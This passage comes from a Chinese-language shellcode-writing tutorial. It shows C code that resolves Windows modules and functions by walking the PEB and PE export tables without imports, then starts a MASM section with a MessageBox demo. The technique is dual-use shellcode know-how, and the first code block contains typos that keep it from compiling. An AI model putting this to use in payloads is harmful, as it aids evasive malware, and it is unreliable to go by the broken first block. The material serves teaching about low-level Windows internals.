<span class="w"> </span><span class="n">IMAGE_NT_HEADERS</span><span class="o">*</span><span class="w"> </span><span class="n">nt_headers</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">IMAGE_NT_HEADERS</span><span class="o">*</span><span class="p">)((</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="o">+</span><span class="n">idh</span><span class="o">-></span><span class="n">e_lfanew</span><span class="p">);</span>
<span class="w"> </span><span class="n">IMAGE_DATA_DIRECTORY</span><span class="o">*</span><span class="w"> </span><span class="n">exportsDir</span><span class="o">=&</span><span class="p">(</span><span class="n">nt_headers</span><span class="o">-></span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">DataDirectory</span><span class="p">[</span><span class="n">IMAGE_DIRECTORY_ENTRY_EXPORT</span><span class="p">]);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">exportsDir</span><span class="o">-></span><span class="n">VirtualAddress</span><span class="o">==</span><span class="nb">NULL</span><span class="p">)</span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">expAddr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exportsDir</span><span class="o">-></span><span class="n">VirtualAddress</span><span class="p">;</span>
<span class="w"> </span><span class="n">IMAGE_EXPORT_DIRECTORY</span><span class="o">*</span><span class="w"> </span><span class="n">exp</span><span class="o">=</span><span class="p">(</span><span class="n">IMAGE_EXPORT_DIRECTORY</span><span class="o">*</span><span class="p">)(</span><span class="n">expAddr</span><span class="o">+</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">module</span><span class="p">);</span>
<span class="w"> </span><span class="n">SIZE_T</span><span class="w"> </span><span class="n">namesCount</span><span class="o">=</span><span class="n">exp</span><span class="o">-></span><span class="n">NumberOfNames</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">funcsListRva</span><span class="o">=</span><span class="n">exp</span><span class="o">-></span><span class="n">AddressOfFunctions</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">funcNamesListRVA</span><span class="o">=</span><span class="n">exp</span><span class="o">-></span><span class="n">AddressOfNames</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">namesOrdsListRVA</span><span class="o">=</span><span class="n">exp</span><span class="o">-></span><span class="n">AddressOfNameOrdinals</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="n">SIZE_T</span><span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">namesCount</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
<span class="w"> </span><span class="n">DWORD</span><span class="o">*</span><span class="w"> </span><span class="n">nameRVA</span><span class="o">=</span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">funcNamesListRVA</span><span class="o">+</span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="n">i</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">);</span>
<span class="w"> </span><span class="n">DWORD</span><span class="o">*</span><span class="w"> </span><span class="n">nameIndex</span><span class="o">=</span><span class="p">(</span><span class="n">WORD</span><span class="o">*</span><span class="p">)(</span><span class="n">funcNamesListRVA</span><span class="o">+</span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="n">i</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="n">WORD</span><span class="p">);</span>
<span class="w"> </span><span class="n">DOWRD</span><span class="o">*</span><span class="w"> </span><span class="n">funcRVA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">DOWRD</span><span class="o">*</span><span class="p">)(</span><span class="n">funcsListRva</span><span class="o">+</span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="o">+</span><span class="p">(</span><span class="o">*</span><span class="n">nameIndex</span><span class="p">)</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">));</span>
<span class="w"> </span><span class="n">LPSTR</span><span class="w"> </span><span class="n">curr_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">LPSTR</span><span class="p">)(</span><span class="o">*</span><span class="n">nameRva</span><span class="o">+</span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="p">);</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">k</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="n">k</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">func_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="o">&&</span><span class="n">curr_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span><span class="n">k</span><span class="o">++</span><span class="p">){</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">func_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">!=</span><span class="n">curr_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"> </span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">func_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">==</span><span class="mi">0</span><span class="o">&&</span><span class="n">curr_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="o">+</span><span class="p">(</span><span class="o">*</span><span class="n">funcRVA</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>把上面的代码封装到一个头文件<a href="https://github.com/hasherezade/masm_shc/blob/master/demos/peb_lookup.h"><code>peb_lookup.h</code></a></p>
<div class="highlight"><pre><span></span><code><span class="cp">#pragma once</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="cp">#ifndef __NTDLL_H__</span>
<span class="cp">#ifndef TO_LOWERCASE</span>
<span class="cp">#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)</span>
<span class="cp">#endif</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UNICODE_STRING</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">MaximumLength</span><span class="p">;</span>
<span class="w"> </span><span class="n">PWSTR</span><span class="w"> </span><span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">UNICODE_STRING</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PUNICODE_STRING</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PEB_LDR_DATA</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">Initialized</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">SsHandle</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InLoadOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InMemoryOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InInitializationOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">EntryInProgress</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">PEB_LDR_DATA</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPEB_LDR_DATA</span><span class="p">;</span>
<span class="c1">//here we don't want to use any functions imported form extenal modules</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_LDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InLoadOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InMemoryOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InInitializationOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">BaseAddress</span><span class="p">;</span>
<span class="w"> </span><span class="kt">void</span><span class="o">*</span><span class="w"> </span><span class="n">EntryPoint</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">SizeOfImage</span><span class="p">;</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">FullDllName</span><span class="p">;</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">BaseDllName</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Flags</span><span class="p">;</span>
<span class="w"> </span><span class="n">SHORT</span><span class="w"> </span><span class="n">LoadCount</span><span class="p">;</span>
<span class="w"> </span><span class="n">SHORT</span><span class="w"> </span><span class="n">TlsIndex</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">SectionHandle</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">CheckSum</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">TimeDateStamp</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">LDR_DATA_TABLE_ENTRY</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PEB</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">InheritedAddressSpace</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">ReadImageFileExecOptions</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">BeingDebugged</span><span class="p">;</span>
<span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">SpareBool</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">Mutant</span><span class="p">;</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">ImageBaseAddress</span><span class="p">;</span>
<span class="w"> </span><span class="n">PPEB_LDR_DATA</span><span class="w"> </span><span class="n">Ldr</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// [...] this is a fragment, more elements follow here</span>
<span class="p">}</span><span class="w"> </span><span class="n">PEB</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPEB</span><span class="p">;</span>
<span class="cp">#endif </span><span class="c1">//__NTDLL_H__</span>
<span class="kr">inline</span><span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="nf">get_module_by_name</span><span class="p">(</span><span class="n">WCHAR</span><span class="o">*</span><span class="w"> </span><span class="n">module_name</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">PPEB</span><span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="cp">#if defined(_WIN64)</span>
<span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">__readgsqword</span><span class="p">(</span><span class="mh">0x60</span><span class="p">);</span>
<span class="cp">#else</span>
<span class="w"> </span><span class="n">peb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PPEB</span><span class="p">)</span><span class="n">__readfsdword</span><span class="p">(</span><span class="mh">0x30</span><span class="p">);</span>
<span class="cp">#endif</span>
<span class="w"> </span><span class="n">PPEB_LDR_DATA</span><span class="w"> </span><span class="n">ldr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">peb</span><span class="o">-></span><span class="n">Ldr</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">list</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ldr</span><span class="o">-></span><span class="n">InLoadOrderModuleList</span><span class="p">;</span>
<span class="w"> </span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">((</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">list</span><span class="p">));</span>
<span class="w"> </span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="w"> </span><span class="n">curr_module</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">curr_module</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseAddress</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseDllName</span><span class="p">.</span><span class="n">Buffer</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="n">WCHAR</span><span class="o">*</span><span class="w"> </span><span class="n">curr_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseDllName</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">module_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">curr_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">WCHAR</span><span class="w"> </span><span class="n">c1</span><span class="p">,</span><span class="w"> </span><span class="n">c2</span><span class="p">;</span>
<span class="w"> </span><span class="n">TO_LOWERCASE</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span><span class="w"> </span><span class="n">module_name</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="w"> </span><span class="n">TO_LOWERCASE</span><span class="p">(</span><span class="n">c2</span><span class="p">,</span><span class="w"> </span><span class="n">curr_name</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">c1</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">c2</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">module_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">curr_name</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//found</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">curr_module</span><span class="o">-></span><span class="n">BaseAddress</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// not found, try next:</span>
<span class="w"> </span><span class="n">curr_module</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PLDR_DATA_TABLE_ENTRY</span><span class="p">)</span><span class="n">curr_module</span><span class="o">-></span><span class="n">InLoadOrderModuleList</span><span class="p">.</span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="kr">inline</span><span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="nf">get_func_by_name</span><span class="p">(</span><span class="n">LPVOID</span><span class="w"> </span><span class="n">module</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">func_name</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">IMAGE_DOS_HEADER</span><span class="o">*</span><span class="w"> </span><span class="n">idh</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">IMAGE_DOS_HEADER</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">idh</span><span class="o">-></span><span class="n">e_magic</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">IMAGE_DOS_SIGNATURE</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">IMAGE_NT_HEADERS</span><span class="o">*</span><span class="w"> </span><span class="n">nt_headers</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">IMAGE_NT_HEADERS</span><span class="o">*</span><span class="p">)((</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">idh</span><span class="o">-></span><span class="n">e_lfanew</span><span class="p">);</span>
<span class="w"> </span><span class="n">IMAGE_DATA_DIRECTORY</span><span class="o">*</span><span class="w"> </span><span class="n">exportsDir</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="p">(</span><span class="n">nt_headers</span><span class="o">-></span><span class="n">OptionalHeader</span><span class="p">.</span><span class="n">DataDirectory</span><span class="p">[</span><span class="n">IMAGE_DIRECTORY_ENTRY_EXPORT</span><span class="p">]);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">exportsDir</span><span class="o">-></span><span class="n">VirtualAddress</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">expAddr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exportsDir</span><span class="o">-></span><span class="n">VirtualAddress</span><span class="p">;</span>
<span class="w"> </span><span class="n">IMAGE_EXPORT_DIRECTORY</span><span class="o">*</span><span class="w"> </span><span class="n">exp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">IMAGE_EXPORT_DIRECTORY</span><span class="o">*</span><span class="p">)(</span><span class="n">expAddr</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">module</span><span class="p">);</span>
<span class="w"> </span><span class="n">SIZE_T</span><span class="w"> </span><span class="n">namesCount</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exp</span><span class="o">-></span><span class="n">NumberOfNames</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">funcsListRVA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exp</span><span class="o">-></span><span class="n">AddressOfFunctions</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">funcNamesListRVA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exp</span><span class="o">-></span><span class="n">AddressOfNames</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">namesOrdsListRVA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exp</span><span class="o">-></span><span class="n">AddressOfNameOrdinals</span><span class="p">;</span>
<span class="w"> </span><span class="c1">//go through names:</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">SIZE_T</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">namesCount</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">DWORD</span><span class="o">*</span><span class="w"> </span><span class="n">nameRVA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">funcNamesListRVA</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">));</span>
<span class="w"> </span><span class="n">WORD</span><span class="o">*</span><span class="w"> </span><span class="n">nameIndex</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">WORD</span><span class="o">*</span><span class="p">)(</span><span class="n">namesOrdsListRVA</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">WORD</span><span class="p">));</span>
<span class="w"> </span><span class="n">DWORD</span><span class="o">*</span><span class="w"> </span><span class="n">funcRVA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">funcsListRVA</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">nameIndex</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">DWORD</span><span class="p">));</span>
<span class="w"> </span><span class="n">LPSTR</span><span class="w"> </span><span class="n">curr_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">LPSTR</span><span class="p">)(</span><span class="o">*</span><span class="n">nameRVA</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="p">);</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">k</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">k</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">func_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">curr_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">k</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">func_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">curr_name</span><span class="p">[</span><span class="n">k</span><span class="p">])</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">func_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">curr_name</span><span class="p">[</span><span class="n">k</span><span class="p">]</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//found</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">module</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">funcRVA</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<h1>编写并编译汇编代码</h1>
<p>正如前面提到的,编写shellcodes的经典方法就是汇编代码</p>
<p>首先我们需要选择用于编译代码的汇编器,这会对我们编写汇编代码时使用的语法有些许影响</p>
<p>对于Windows而言,最常用的汇编器是MASM,同时也是VS的一部分,有两个版本,一个32位的(ml.exe)一个64位的(ml64.exe),MASM生成的object文件可以被链接为PE格式的可执行文件,下面是一段演示代码:</p>
<div class="highlight"><pre><span></span><code><span class="nf">.386</span>
<span class="na">.model</span><span class="w"> </span><span class="no">flat</span>
<span class="nf">extern</span><span class="w"> </span><span class="no">_MessageBoxA@16</span><span class="p">:</span><span class="no">near</span>
<span class="nf">extern</span><span class="w"> </span><span class="no">_ExitProcess@4</span><span class="p">:</span><span class="no">near</span>
<span class="na">.data</span>
<span class="nf">msg_title</span><span class="w"> </span><span class="no">db</span><span class="w"> </span><span class="err">"</span><span class="no">Demo</span><span class="p">!</span><span class="err">"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span>
<span class="nf">msg_content</span><span class="w"> </span><span class="no">db</span><span class="w"> </span><span class="err">"</span><span class="no">Hello</span><span class="w"> </span><span class="no">World</span><span class="p">!</span><span class="err">"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span>
<span class="na">.code</span>
<span class="nf">main</span><span class="w"> </span><span class="no">proc</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">offset</span><span class="w"> </span><span class="no">msg_title</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">offset</span><span class="w"> </span><span class="no">msg_content</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">_MessageBoxA@16</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">_ExitProcess@4</span>
